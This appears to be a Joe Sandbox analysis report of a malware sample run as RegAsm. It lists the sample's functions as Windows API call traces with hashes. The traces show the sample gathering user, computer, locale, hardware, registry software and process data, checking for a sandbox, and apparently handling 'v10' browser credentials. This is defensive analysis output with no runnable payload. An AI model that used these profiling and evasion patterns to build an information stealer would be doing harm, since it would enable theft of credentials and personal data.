Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9330BE

Part of subcall function 6C9330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C933127
Part of subcall function 6C9330F0: __aulldiv.LIBCMT ref: 6C933140

Part of subcall function 6C96AB2A: __onexit.LIBCMT ref: 6C96AB30

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction ID: 44b61cc302f2574c4fa35a996bdff945ca50953a86a8ecc065fe719d906b4854
Opcode Fuzzy Hash: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction Fuzzy Hash: C0F0F91AE2874DE7CB10DF3888411E77374AF7B118F601319EC4853551FF20A1D8838A

Function 00418F10 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
CloseHandle.KERNEL32(00000000), ref: 00418F4F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction ID: 429e76ffcb292cc7325fe34a8c967f3e8a19cc1fb06d1469951f90a9fbb0bdee
Opcode Fuzzy Hash: 505887186576ed7e5de420e5946c6f2a22c03df6072e7a407eac2c8430529aad
Instruction Fuzzy Hash: 29F05E74A0020CFBDB14DFA4DD4AFEE7779AB08700F004498BB0997290D6B0AE85CB94

Function 00401110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
ExitProcess.KERNEL32 ref: 00401143

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction ID: 0e2e6d3d2f445679f77a7861b9af8e0e8f55b174cdb9f0aa425208459b8dc1b3
Opcode Fuzzy Hash: 678cf5f3e7197d72abcfc3c147a4750855ebb5e345b53b76b616ef84aefebb1b
Instruction Fuzzy Hash: 3DE08670945308FBE7205FA09C0AB4D76689B04B05F105056F708BA1E0C6B82501865C

Function 00411520 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00416FA0: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
Part of subcall function 00416FA0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
Part of subcall function 00416FA0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
Part of subcall function 00416FA0: HeapAlloc.KERNEL32(00000000), ref: 004170AA

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 00417130: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417144
Part of subcall function 00417130: HeapAlloc.KERNEL32(00000000), ref: 0041714B

Part of subcall function 00417260: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00C51768,00000000,?), ref: 00417292
Part of subcall function 00417260: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0041D5B0,000000FF,?,004117A9,00000000,?,00C51768,00000000,?), ref: 00417299

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 00417420: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
Part of subcall function 00417420: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
Part of subcall function 00417420: GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
Part of subcall function 00417420: wsprintfA.USER32 ref: 00417493

Part of subcall function 004174D0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
Part of subcall function 004174D0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
Part of subcall function 004174D0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D

Part of subcall function 004175A0: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00C51BC0,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 004175D5

Part of subcall function 00417630: GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
Part of subcall function 00417630: LocalAlloc.KERNEL32(00000040,?), ref: 00417699
Part of subcall function 00417630: GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
Part of subcall function 00417630: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
Part of subcall function 00417630: LocalFree.KERNEL32(00000000), ref: 004177C2

Part of subcall function 00417820: GetSystemPowerStatus.KERNEL32(?), ref: 0041784D

GetCurrentProcessId.KERNEL32(00000000,?,00C516E8,00000000,?,00420DF4,00000000,?,00000000,00000000,?,00C51C20,00000000,?,00420DF0,00000000), ref: 00411B8E

Part of subcall function 00418F10: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00418F24
Part of subcall function 00418F10: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00418F45
Part of subcall function 00418F10: CloseHandle.KERNEL32(00000000), ref: 00418F4F

Part of subcall function 004178A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
Part of subcall function 004178A0: HeapAlloc.KERNEL32(00000000), ref: 004178DE
Part of subcall function 004178A0: RegOpenKeyExA.KERNEL32(80000002,00C4B630,00000000,00020119,?), ref: 004178FE
Part of subcall function 004178A0: RegQueryValueExA.KERNEL32(?,00C518E8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Part of subcall function 00417A00: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00417A69
Part of subcall function 00417A00: GetLastError.KERNEL32 ref: 00417A78

Part of subcall function 00417970: GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
Part of subcall function 00417970: wsprintfA.USER32 ref: 004179B6

Part of subcall function 00417BA0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00C51C38,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
Part of subcall function 00417BA0: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00C51C38,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
Part of subcall function 00417BA0: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C12
Part of subcall function 00417BA0: __aulldiv.LIBCMT ref: 00417C20
Part of subcall function 00417BA0: wsprintfA.USER32 ref: 00417C4C

Part of subcall function 00418260: CreateDCA.GDI32(00C4AB88,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,00C464D8,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: CloseHandle.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
